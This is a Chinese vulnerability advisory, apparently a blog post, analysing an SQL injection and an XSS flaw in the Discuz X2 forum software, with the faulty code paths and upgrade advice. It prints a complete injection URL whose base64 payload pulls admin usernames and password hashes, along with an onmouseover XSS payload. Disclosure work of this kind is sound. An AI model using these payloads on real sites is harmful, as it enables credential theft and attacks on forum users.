Discuz X2安全研究报告:SQL与XSS注入漏洞分析

近日,DiscuzX2被爆出了两个0day,一个是SQL注入漏洞,攻击者可利用该漏洞获取到用户名与密码,另一个是XSS注入漏洞,攻击者可实现网站挂马、网站钓鱼等行为,目前官方已针对此问题发布了0629版,以下内容是Nevel安全团队的IMIYOO针对disucz
X2此次0day所做的漏洞分析报告。

SQL注入问题描述:

SQL是一种数据库攻击方式,攻击者利用畸形的客户端输入,如果过滤不够,程序就会执行过多的数据库命令,从而会引发数据泄漏,服务器被入侵等一系列问题;危害等级高。

分析报告:

问题的具体原因发生在source/module/forum/forum_attachment.php,代码如下图:

其中$_G[‘gp_aid’]是由用户提交的变量aid所产生,而程序是将aid经过base64_decode后再传入SQL查询,在传入给SQL查询之前也没有作任何判断;但这正好给攻击者提供base64加密绕过Discuz自身的SQL攻击检测程序,从而产生SQL注入漏洞。

构造Sql_Exploit:

mod=attachment
//包含漏洞文件
findpost=imiyoo
//保证$_G[‘gp_findpost’]不为空,使程序进入恶意SQL查询流程
aid=base64_encode(“1′ and 1=2 union
all select 1,concat(username,0x7C,password) from pre_common_member where
username like ‘admin|Nevel|Nevel|Nevel|Nevel”) //

构造SQL利用语句爆出用户名和密码,其中后面有4个’|’用来产生5个变量

从而完整的攻击语句如下:

http://target/forum.php?mod=attachment&findpost=imiyoo&aid=
MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs

攻击效果如下图:

XSS问题描述:

XSS是一种客户端攻击方式,攻击者可以可以向Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而可以达到恶意攻击用户的特殊目的。利用该XSS漏洞,攻击者可以实现1
网站挂马 2 网站钓鱼 3 CSRF攻击;危害等级中。

分析报告:

具体原因发生在source/function/function_discuzcode.php中的,在discuzcode函数中,我们可以看到,程序员直接将用户输入的[emai][/email]信息利用preg_replace函数进行替换,但在该函数中存在一个问题,当用户提交的变量中含有双引号等特殊字符的时候,函数会将它们转义后再进行输出,而程序作者没有对其进行过滤,就传给了parseemail函数;

在parseemail函数,如下:

其中$text变量也是没有进行过滤,就直接输出到客户端,从而造成了XSS漏洞。

构造Xss_Exploit如下:

[email][url]”http://www.admin90.com
onmouseover=alert(/Discuz-XSS-Exploit/); “[/url][/email]

漏洞的修补:

当我们输入上面的恶意数据,经过preg_replace函数转换后,会将双引号表示字符串的实际意义进行转义,而将其作为字符串的一部分进行输出,从而造成XSS攻击,如下图:

因此我们需要将preg_replace转换后的变量进行转化,将转义字符’’进行过滤。

安全建议:手动安装官方最新的版本 http://www.discuz.net/thread-2168918-1-1.html

来源:Nevel安全小组 作者:IMIYOO

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇